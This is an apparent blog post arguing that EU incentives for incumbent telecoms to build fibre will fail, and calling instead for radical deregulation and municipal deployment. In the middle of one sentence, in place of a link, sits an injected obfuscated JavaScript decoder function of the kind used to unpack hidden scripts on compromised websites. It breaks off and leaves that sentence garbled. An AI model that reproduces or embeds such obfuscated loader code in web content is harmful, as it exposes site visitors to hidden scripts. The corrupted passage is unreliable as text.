Forget incentives to incumbents and eliminate hurdles to all others!

In a speech yesterday, EU commissioner for information society Neelie Kroes announced some new proposals to boost investment in Next-Generation Networks. The plan in a nutshell stands in three bullet points:

  • force a reduction in copper wholesale prices to diminish the profitability of copper vs. fiber
  • reward copper to fiber switchover by granting higher copper wholesale prices to incumbents who do switchover
  • inject €6.4bn of public funds

What the plan tries to do really is to reduce what the commission perceives as an excessive gap in short-term profitability between copper and fiber. Kroes seems to believe that this incentive will be enough for incumbents to make the jump and finally invest in their own future.

I fear she is misguided. I don't think that there is any way in which the gap could be lessened enough to actually get the incumbents to invest. Fundamentally they do not want to invest, except possibly over a very long-term that becomes virtually invisible to shareholders. The risk-culture necessary for such investments function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand-the-culture-of-risk-or-lack-thereof.html" target="_self">is absent from all but the boldest incumbents today. Various regulators have tried incentives. It's very telling to me that in the four years since Telefonica manage to broker a quasi-regulatory holiday on fiber wholesale, they still have deployed so little.

Furthermore, European incumbents are already screaming blue murder about this (read Telecom companies lash out at EU fiber proposal) and will do everything in their power to get governments firmly against it. Expect a new round of unemployment ransoning in the next few days...

I think the solution if there is one is to accept that incumbents will not deploy FTTH and start looking at alternatives. I dream of a Europe wide regulatory agenda that eliminates all the hurdles for deployments of infrastructure. Radically simplify rights of ways and the administrative management thereof, eliminate all those absurd taxes on fiber deployment, forget (at least for now) the municipal ordinances banning aerial deployments and most of all, forget all state aid rules and just give the rights to governments of all sizes to invest in their future if the telcos won't. Just ensure minimal network interoperability and openness. 

Paradoxically, such radical deregulation would most likely get the incumbents to invest as fast as they possibly can, faced with the very real threat of hundreds or thousands of local network competitors. That's exactly what happened in Bulgaria, and no one is complaining (except the incumbent, I guess...)

Let's get real and forget about incentivizing the only guys on the block who really have no reason to be in this game...

(Note, I realise that many of the things I'm talking about aren't under the control of the EU, or even sometimes of national regulators. Ultimately, they are in the control of governments, national and local. Who themselves form the EU. Let's talk constructively and act people. Or let's accept that in five years' time we'll be back in medieval broadband times...)